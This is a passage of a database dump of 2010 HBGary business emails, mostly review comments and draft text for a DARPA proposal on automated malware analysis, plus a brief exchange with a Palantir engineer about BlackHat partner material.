pictures?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou show #5 Traits Library in the Manual section.&nbsp; Yes, we\r\ncreate traits manually today at HBGary, but couldn&#8217;t some of our work attempt\r\nto automatically create traits?&nbsp; Same with #6 Genomes Library &#8211; I thought\r\nthat this contract wants malware genomes to be automatically developed.&nbsp;\r\nWe could be shooting ourselves in the foot saying it is manual.&nbsp; Maybe we\r\ncan say we start off organizing malware manually and as we learn we figure out\r\nhow to do it automatically.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI love the &#8220;SMART&#8221; acronym&#8230;&#8230;. Not trying to throw ice on it, but\r\nthe term &#8220;Static Memory Analysis&#8221; bugs me.&nbsp; By definition, memory is\r\nvolatile so this could be extremely confusing to the reader.&nbsp; Yes, we are\r\nstatically analyzing a memory image that was generated dynamically from a live\r\nmachine.&nbsp; Historical static analysis = white box testing which is\r\nanalyzing code that isn&#8217;t running.&nbsp; We are analyzing code that WAS RUNNING\r\n&#8211; furthermore, we are analyzing the code within the context of the memory soup\r\nin which it lives.&nbsp; We have a new paradigm but we are using old words to\r\ndescribe it, and those old words carry old meanings that give the wrong\r\nimpression.&nbsp; But no doubt, I see you grabbing at how to tell the reader\r\nthat we are combining multiple kinds of analysis within one framework.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBRAIN made me laugh because SMART and BRAIN go so well\r\ntogether.&nbsp; Yeah, brain and reasoning go together so well.&nbsp; Very\r\nclever.&nbsp; You must be good a writing winning proposals.&nbsp; Makes\r\nsense&#8230;&#8230;. SMART collects low level info.&nbsp; BRAIN makes sense out of\r\nit.&nbsp; Then after BRAIN there needs to be a mechanism from Secure Decisions\r\nto convert into visualization.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe arrows on the chart confuse me.&nbsp; Might be nice to\r\nannotate with some descriptive info that tell what happens between blocks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMake sure to send content to Martin too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 4:52 PM\r\nTo:&nbsp;Greg Hoglund; Rich\r\nCummings; Bob Slapnik\r\nCc:&nbsp;Ted Vera\r\nSubject:&nbsp;Technical Approach\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare coming to the final stretches of the Darpa proposal. &nbsp;Our schedule is\r\na Pink Team review on Monday and a Red Team review on Wednesday. &nbsp;I will\r\nbe sending you sections to review when you have time. &nbsp;Please comment, add\r\ncontent, etc. &nbsp;After this document there is a detailed Technical approach\r\ndocument that has all of the more researchy technical details. &nbsp;I will be\r\nsending that one out tomorrow or over the weekend. &nbsp;The Technical approach\r\nbelow is to lay out the framework our approach and why it is innovative and\r\nunique, and to describe the various research areas. &nbsp;Each of the blocks is\r\na research area, some will have more research than others.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhile the focus of\r\nthis effort is to conduct revolutionary research in key areas related to\r\nautomated malware analysis for behavior, function, and intent, we believe it is\r\nimportant to structure this research within an operational framework that is\r\nmaintainable and functional over time as the science of malware analysis\r\nmatures. &nbsp;Our approach provides for continual improvement and illustrates\r\nhow the individual research areas fit within this operational framework.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere\r\nare many valid methods for conducting malware analysis and deriving malware\r\nfunctionality, behaviors, and purpose. &nbsp;However some are likely to yield\r\nmore accurate and efficient results than others. &nbsp;The HBGary team has\r\nextensive experience and expertise in malware analysis, including detection of\r\nmalware based on exhibited functionality and behaviors, and delivering market\r\nleading capability in this area. &nbsp;Based on our extensive experience we\r\nbelieve the best approach for analysis to satisfy the requirements of the cyber\r\ngenome project is a combination of static memory and runtime analysis.\r\n&nbsp;Static file analysis probably still represents the largest portion of\r\nmalware analysis conducted in organizations today, but this technique is\r\nwrought with growing problems as malware finds increasingly complex ways to\r\nprotect itself from static file analysis techniques, and the mechanisms used to\r\ndefeat file-based malware security greatly lengthens the time for complete\r\nanalysis. &nbsp;No matter the security techniques used on the filesystem, to be\r\neffective, the malware has to run and when it runs it does so in the clear.\r\n&nbsp;Static memory analysis is a methodology where you take a snapshot of\r\nmemory and analyze the static contents of that snapshot. &nbsp;Nearly all\r\nmalware is small enough that the entire execution space is captured in a single\r\nmemory snapshot. &nbsp;But there are some limitations to static memory\r\nanalysis, such as ..., which is why we will also monitor the execution of the\r\nsoftware within a sandbox. &nbsp;The resulting combination of the two analysis\r\ntechniques will give us a nearly complete picture of the linear execution of\r\nany piece of software. &nbsp;As mentioned this only covers the linear execution\r\nspace of the analyzed software, which in most cases is all that is needed, for\r\ncompleteness, we will conduct research in expanding the execution paths of\r\nrunning programs that require specific IO input or environment conditions for\r\nspecific branch executions.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFig.\r\n1, illustrates our malware analysis framework, which emphasizes a fully\r\nautomated malware analysis process enhanced by manual analysis to develop new\r\ntraits and sequences for flagged unknown functions and behaviors. &nbsp;The end\r\ngoal is to develop and mature an automated malware analysis system that can\r\nrecognize new traits or trait patterns automatically and classify and\r\ncategorize them, or if it can not flag for manual analysis, and update the\r\ntrait and genome libraries. Using an iterative static memory and runtime\r\nanalysis approach to smartly execute as much of the code as possible for analysis.\r\n&nbsp;The Specimen repository will be continually updated with specimen data\r\nthrough the analysis process, to include a full malware physiology profile.\r\n&nbsp;The physiology profile will contain mathematical and visual\r\nrepresentations of the malware as well as a human readable summary of the\r\nmalware\'s overall and more detailed behaviors, functions, and purpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFig. 1: Cyber\r\nPhysiology Analysis Framework\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCyber\r\nPhysiology Analysis Framework:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n Specimen Feeds/Harvester/Samples.\r\n     &nbsp;Subscriptions to Malware feeds to continually populate our specimen\r\n     repository and continually exercise our automated malware analysis\r\n     framework. &nbsp;HBGary currently subscribes to multiple feeds and\r\n     processes around 20,000 new malware samples per day using our automated\r\n     malware analysis and detection technology. &nbsp;In addition we propse to\r\n     research methods for identifying and collecting emergent malware specimens.\r\n Pre-processor. &nbsp;Provides\r\n     external analysis and instrumentation for all incoming specimens. &nbsp;In\r\n     this phase, static binary analysis is performed, automated over time,\r\n     unpacking, de-obfuscating, reconstructing, and performing binary\r\n     instrumentation to assist in further automated analysis. &nbsp;Some\r\n     specimens of contemporary malware contain anti-analysis techniques, these\r\n     techniques will likely increase over time. &nbsp;We will conduct research\r\n     into binary pre-processing and instrumentation to identify and mitigate\r\n     these techniques, and to normalize as much as possible all malware prior\r\n     to execution. &nbsp;Once operationalized other inputs could be included\r\n     into the pre-processor such as open source and intelligence information.\r\n Specimens Repository. This is the\r\n     central repository for specimen raw files as well as analytical\r\n     information collected during pre-processing and the analysis process.\r\n     &nbsp;HBGary brings an existing malware repository, approximately 500GB of\r\n     unique malware samples to start the effort. &nbsp;In this area we will\r\n     conduct research for data format normalization and standardization for\r\n     malware analysis results. &nbsp;Information maintained will include;\r\n     specimen raw files, hard artifacts, associated traits and genomes, all low\r\n     level data recorded through static and runtime analysis, and a full\r\n     malware physiology profile.\r\n Specimen Analysis &amp;\r\n     Visualization Interface (SAVI). &nbsp;Methodology for streamlined analysis\r\n     to assist in identifying new traits and genomes as well as present malware\r\n     physiology profiles once a specimen has been processed. Research will\r\n     focus on visual representations of malware data to aid in analysis and\r\n     understanding of malware\'s functions and behaviors and purpose. &nbsp;When\r\n     there are function and behavior traits or genome sequences that are not\r\n     fully understood by the automated system, those are flagged in the malware\r\n     physiology profile stored in the specimen repository and scheduled for\r\n     manual analysis. &nbsp;Both HBGary and Pikewerks have industry leading\r\n     experience and products analyzing windows and linux-based malware.\r\n     &nbsp;SecureDecisions is a market leader in developing advanced\r\n     visualization capabilities for a variety of datasets.\r\n Traits (Gene) Library.\r\n     &nbsp;Developed trait rules that represent discrete functions and\r\n     behaviors of software. &nbsp;We propose the best methodology for\r\n     understanding the aggregate functions, behaviors, and purpose of malware\r\n     is to first identify and understand the discrete expressed parts of\r\n     malware describe them in a way that can be classified and mathematically\r\n     calculated. &nbsp;Both HBGary and Pikewerks have existing methodologies\r\n     for detecting malware based on behavioral charateristics/traits.\r\n     &nbsp;This unique knowledge will significantly aid in our research and\r\n     development of traits for more complex behavioral and functional\r\n     understanding.\r\n Genomes Library. &nbsp;Much like\r\n     biological gene/trait sequences. &nbsp;To understand how a biological\r\n     system works, or how genes are expressed within an aggregated system you\r\n     need to understand the importances of sequences, ordering, and clustering\r\n     of traits. &nbsp;Our research here will focus on identifying trait\r\n     patterns that express an aggregated functionality or behavior. &nbsp;These\r\n     are the algorithms and patterns used to develop the visual and\r\n     mathematical graphs that examine the malwares overall function, purpose,\r\n     severity.&nbsp; Develop behavior and function correlation engines and\r\n     visual representations based on exhibited traits, external and\r\n     environmental artifacts, space and temporal artifact relationships,\r\n     sequencing, etc. (fuzzy hashing, etc.)\r\n Static Memory Analysis and\r\n     Runtime Tracing Engine (SMART) - Uses a combination of static memory\r\n     analysis and runtime tracing techniques to record as much of the malware\r\n     internals as possible, including exercising as much of the full execution\r\n     tree as possible. &nbsp;Our research will focus on full branch execution\r\n     as well as automated analysis and tracing. &nbsp;HBGary and Pikwerks have\r\n     existing semi-automated technologies that we can leverage for the research\r\n     and development in this task.\r\n Bayesian Reasoning Analysis and\r\n     Inference Node (BRAIN). &nbsp;As our understanding of malware internals\r\n     and the relationships of traits and genomes matures we should be able to\r\n     instrument something like a bayesian reasoning engine to automatically\r\n     identify mutations within the genomes and classify those mutations to some\r\n     degree without any manual analysis. &nbsp;Our research will focus on\r\n     building the malware behavior and function inference models to do the\r\n     automated analysis of malware.\r\n Cyber Physiology Profile.\r\n     &nbsp;These profiles are the output of the analysis processes and contain\r\n     both mathmatical and human readable representations (fingerprints) of a\r\n     specimens aggregate functions, behaviors, and intent. &nbsp;These profiles\r\n     are stored in the repository for future quick retrieval.\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16844,'aaron_hbgary_com/16844.html'),(4281,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002297.M736629P3547Q4281.eml','\"Timothy Ronan\" <tronan@palantirtech.com>','Fwd: HB Gary at BlackHat','From my iPhoneBegin forwarded message:From: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\nTo: &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;Subject: FW: HB Gary at BlackHat\r\n\r\n',555,'aaron_hbgary_com/555.html'),(4282,'2010-03-19','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297002298.M11336P3547Q4282.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HB Gary at BlackHat','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, thanks for getting this material over to me so quickly.\r\n\r\n&nbsp;\r\n\r\nCan we drop the corporate address and contact info at the bottom\r\nof the summary to stay consistent with the other partner descriptions?&nbsp; A\r\ncompany website is fine.\r\n\r\n&nbsp;\r\n\r\nYou are obviously free to distribute this info at your booth\r\nthough.\r\n\r\n&nbsp;\r\n\r\nTim\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\nTim Ronan\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\ntronan@palantirtech.com | 571.225.6179\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 19, 2010 4:25 PM\r\nTo: Timothy Ronan\r\nSubject: Fwd: HB Gary at BlackHat\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny\r\nLeavy-Hoglund &lt;penny@hbgary.com&gt;\r\nTo: \'Aaron Barr\' &lt;aaron@hbgary.com&gt;\r\nSubject: FW: HB Gary at BlackHat\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5175,'aaron_hbgary_com/5175.html'),(4283,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002298.M233073P3547Q4283.eml','\"Timothy Ronan\" <tronan@palantirtech.com>','Re: HB Gary at BlackHat','Np.  That&#39;s good.From my iPhoneOn Mar 19, 2010, at 4:30 PM, Timothy Ronan &lt;tronan@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron, thanks for getting this material over to me so quickly.\r\n\r\n \r\n\r\nCan we drop the corporate address and contact info at the bottom\r\nof the summary to stay consistent with the other partner descriptions?  A\r\ncompany website is fine.\r\n\r\n \r\n\r\nYou are obviously free to distribute this info at your booth\r\nthough.\r\n\r\n \r\n\r\nTim\r\n\r\n \r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\nTim Ronan\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\ntronan@palantirtech.com | 571.225.6179\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 19, 2010 4:25 PM\r\nTo: Timothy Ronan\r\nSubject: Fwd: HB Gary at BlackHat\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny\r\nLeavy-Hoglund &lt;penny@hbgary.com&gt;\r\nTo: &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;\r\nSubject: FW: HB Gary at BlackHat\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14607,'aaron_hbgary_com/14607.html'),(4284,'2010-03-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002298.M508769P3547Q4284.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Approach','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLying in bed&#8230;&#8230;..an idea\r\n\r\n&nbsp;\r\n\r\nSMART =&nbsp; snapshot memory analysis and runtime tracing.&nbsp;\r\n(I like this, but we do the runtime tracing first then we snapshot before\r\nreconstructing memory.\r\n\r\n&nbsp;\r\n\r\nI think we need to let DARPA know that we already have working technology\r\nto harvest scads of low level runtime data and we harvest data from\r\nmemory.&nbsp; Today we have boat loads of data.&nbsp; To me the tasks are \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSetting up the environment to automated SMART end-to-end,\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReason over the data to produce good info\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nVisualize\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMore and better traits\r\n\r\n&nbsp;\r\n\r\nOur competitors might be spending 2 years building tools to\r\ncollect the data we already collect.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 19, 2010 8:24 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Technical Approach\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGood comments. &nbsp;Thanks Bob, I will incorporate.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 8:27 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy comments are to mostly point out things that may be unclear\r\nto the reader&#8230;&#8230;&#8230;.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen you say &#8220;combination of static memory and runtime\r\nanalysis&#8221; it is a bit unclear mainly because the term &#8220;static\r\nmemory&#8221; doesn&#8217;t mean anything unless you define it first.&nbsp;\r\nKeep in mind, this whole concept of running the malware, imaging the memory,\r\nreconstructing memory, then analyzing both the memory image and the extracted\r\nbinaries is a completely new paradigm.&nbsp; HBGary invented this methodology\r\nso it isn&#8217;t that widespread.&nbsp; After we started the trend, Volatility\r\nand Memoryze added features to extract binaries then throw them into IDA Pro.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to see the language make it more clear.&nbsp; Yes,\r\nwe statically analyze memory snapshots and binaries extracted from memory, but\r\nI think the casual reader will miss the point because we start with live\r\nsystems and running malware.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d rather you start off by discussing how traditional r/e\r\nmethods require slow manual processes with expensive, non-scalable and\r\nunreliable experts who understand assembly code and low level OS and network\r\nstuff.&nbsp; This is true for\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traditional static analysis\r\n(taking files off filesystem, unpacking, IDA Pro, smart analyst), and\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traditional runtime analysis\r\nusing debuggers.\r\n\r\n\r\n\r\n\r\n\r\nOur approach is different.&nbsp; We run the malware and harvest\r\nlow level runtime data. Then after it has run for time t we suspend the system\r\nand snapshot physical memory.&nbsp; We combine data from the (1) running\r\nmalware over time, (2) the binary at a point in time during execution, and (3)\r\nphysical memory at a point in time.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn the graphic, the words and flow chart don&#8217;t seem to be\r\nconsistent for #4 SAVI.&nbsp; The words say you use it to look at traits and\r\ngenomes once a specimen has been processed, so I would expect to see the\r\nanalysis take place then see its visualization.&nbsp; The arrows are pointing\r\naway from SAVI.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWouldn&#8217;t SAVI be the user interface to the whole\r\nsystem?........ and therefore be where the user runs the system, has the\r\ncontrol mechanisms and see info and pretty pictures?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou show #5 Traits Library in the Manual section.&nbsp; Yes, we\r\ncreate traits manually today at HBGary, but couldn&#8217;t some of our work\r\nattempt to automatically create traits?&nbsp; Same with #6 Genomes Library\r\n&#8211; I thought that this contract wants malware genomes to be automatically\r\ndeveloped.&nbsp; We could be shooting ourselves in the foot saying it is\r\nmanual.&nbsp; Maybe we can say we start off organizing malware manually and as\r\nwe learn we figure out how to do it automatically.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI love the &#8220;SMART&#8221; acronym&#8230;&#8230;. Not trying\r\nto throw ice on it, but the term &#8220;Static Memory Analysis&#8221; bugs\r\nme.&nbsp; By definition, memory is volatile so this could be extremely\r\nconfusing to the reader.&nbsp; Yes, we are statically analyzing a memory image\r\nthat was generated dynamically from a live machine.&nbsp; Historical static\r\nanalysis = white box testing which is analyzing code that isn&#8217;t\r\nrunning.&nbsp; We are analyzing code that WAS RUNNING &#8211; furthermore, we\r\nare analyzing the code within the context of the memory soup in which it\r\nlives.&nbsp; We have a new paradigm but we are using old words to describe it,\r\nand those old words carry old meanings that give the wrong impression.&nbsp;\r\nBut no doubt, I see you grabbing at how to tell the reader that we are\r\ncombining multiple kinds of analysis within one framework.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBRAIN made me laugh because SMART and BRAIN go so well\r\ntogether.&nbsp; Yeah, brain and reasoning go together so well.&nbsp; Very\r\nclever.&nbsp; You must be good a writing winning proposals.&nbsp; Makes\r\nsense&#8230;&#8230;. SMART collects low level info.&nbsp; BRAIN makes sense out\r\nof it.&nbsp; Then after BRAIN there needs to be a mechanism from Secure\r\nDecisions to convert into visualization.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe arrows on the chart confuse me.&nbsp; Might be nice to\r\nannotate with some descriptive info that tell what happens between blocks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMake sure to send content to Martin too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 4:52 PM\r\nTo:&nbsp;Greg Hoglund; Rich\r\nCummings; Bob Slapnik\r\nCc:&nbsp;Ted Vera\r\nSubject:&nbsp;Technical Approach\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare coming to the final stretches of the Darpa proposal. &nbsp;Our schedule is\r\na Pink Team review on Monday and a Red Team review on Wednesday. &nbsp;I will\r\nbe sending you sections to review when you have time. &nbsp;Please comment, add\r\ncontent, etc. &nbsp;After this document there is a detailed Technical approach\r\ndocument that has all of the more researchy technical details. &nbsp;I will be\r\nsending that one out tomorrow or over the weekend. &nbsp;The Technical approach\r\nbelow is to lay out the framework our approach and why it is innovative and\r\nunique, and to describe the various research areas. &nbsp;Each of the blocks is\r\na research area, some will have more research than others.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhile the focus of\r\nthis effort is to conduct revolutionary research in key areas related to\r\nautomated malware analysis for behavior, function, and intent, we believe it is\r\nimportant to structure this research within an operational framework that is\r\nmaintainable and functional over time as the science of malware analysis\r\nmatures. &nbsp;Our approach provides for continual improvement and illustrates\r\nhow the individual research areas fit within this operational framework.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere\r\nare many valid methods for conducting malware analysis and deriving malware\r\nfunctionality, behaviors, and purpose. &nbsp;However some are likely to yield\r\nmore accurate and efficient results than others. &nbsp;The HBGary team has\r\nextensive experience and expertise in malware analysis, including detection of\r\nmalware based on exhibited functionality and behaviors, and delivering market\r\nleading capability in this area. &nbsp;Based on our extensive experience we\r\nbelieve the best approach for analysis to satisfy the requirements of the cyber\r\ngenome project is a combination of static memory and runtime analysis.\r\n&nbsp;Static file analysis probably still represents the largest portion of\r\nmalware analysis conducted in organizations today, but this technique is\r\nwrought with growing problems as malware finds increasingly complex ways to\r\nprotect itself from static file analysis techniques, and the mechanisms used to\r\ndefeat file-based malware security greatly lengthens the time for complete\r\nanalysis. &nbsp;No matter the security techniques used on the filesystem, to be\r\neffective, the malware has to run and when it runs it does so in the clear.\r\n&nbsp;Static memory analysis is a methodology where you take a snapshot of\r\nmemory and analyze the static contents of that snapshot. &nbsp;Nearly all\r\nmalware is small enough that the entire execution space is captured in a single\r\nmemory snapshot. &nbsp;But there are some limitations to static memory\r\nanalysis, such as ..., which is why we will also monitor the execution of the\r\nsoftware within a sandbox. &nbsp;The resulting combination of the two analysis\r\ntechniques will give us a nearly complete picture of the linear execution of\r\nany piece of software. &nbsp;As mentioned this only covers the linear execution\r\nspace of the analyzed software, which in most cases is all that is needed, for\r\ncompleteness, we will conduct research in expanding the execution paths of\r\nrunning programs that require specific IO input or environment conditions for\r\nspecific branch executions.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFig.\r\n1, illustrates our malware analysis framework, which emphasizes a fully\r\nautomated malware analysis process enhanced by manual analysis to develop new\r\ntraits and sequences for flagged unknown functions and behaviors. &nbsp;The end\r\ngoal is to develop and mature an automated malware analysis system that can\r\nrecognize new traits or trait patterns automatically and classify and\r\ncategorize them, or if it can not flag for manual analysis, and update the\r\ntrait and genome libraries. Using an iterative static memory and runtime\r\nanalysis approach to smartly execute as much of the code as possible for\r\nanalysis. &nbsp;The Specimen repository will be continually updated with\r\nspecimen data through the analysis process, to include a full malware\r\nphysiology profile. &nbsp;The physiology profile will contain mathematical and\r\nvisual representations of the malware as well as a human readable summary of\r\nthe malware\'s overall and more detailed behaviors, functions, and purpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFig. 1: Cyber\r\nPhysiology Analysis Framework\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCyber\r\nPhysiology Analysis Framework:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n Specimen Feeds/Harvester/Samples.\r\n     &nbsp;Subscriptions to Malware feeds to continually populate our specimen\r\n     repository and continually exercise our automated malware analysis\r\n     framework. &nbsp;HBGary currently subscribes to multiple feeds and\r\n     processes around 20,000 new malware samples per day using our automated\r\n     malware analysis and detection technology. &nbsp;In addition we propse to\r\n     research methods for identifying and collecting emergent malware 